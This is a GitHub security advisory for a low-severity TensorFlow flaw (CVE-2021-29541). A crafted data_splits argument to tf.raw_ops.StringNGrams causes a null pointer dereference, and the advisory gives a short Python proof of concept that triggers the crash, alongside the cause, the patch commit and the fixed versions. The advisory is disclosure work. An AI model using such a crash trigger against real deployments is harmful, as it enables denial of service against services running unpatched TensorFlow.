Null pointer dereference in `StringNGrams`

Low mihaimaruseac published GHSA-xqfj-35wv-m3cr on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can trigger a dereference of a null pointer in `tf.raw_ops.StringNGrams`:

```
import tensorflow as tf

data=tf.constant([''] * 11, shape=[11], dtype=tf.string)

splits = [0]*115
splits.append(3)
data_splits=tf.constant(splits, shape=[116], dtype=tf.int64)

tf.raw_ops.StringNGrams(data=data, data_splits=data_splits, separator=b'Ss',
                        ngram_widths=[7,6,11],
                        left_pad='ABCDE', right_pad=b'ZYXWVU',
                        pad_width=50, preserve_short_sequences=True)
```

This is because the implementation does not fully validate the `data_splits` argument. This would result in `ngrams_data` to be a null pointer when the output would be computed to have 0 or negative size.

Later writes to the output tensor would then cause a null pointer dereference.

Patches

We have patched the issue in GitHub commit ba424dd8f16f7110eea526a8086f1a155f14f22b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29541

Weaknesses

No CWEs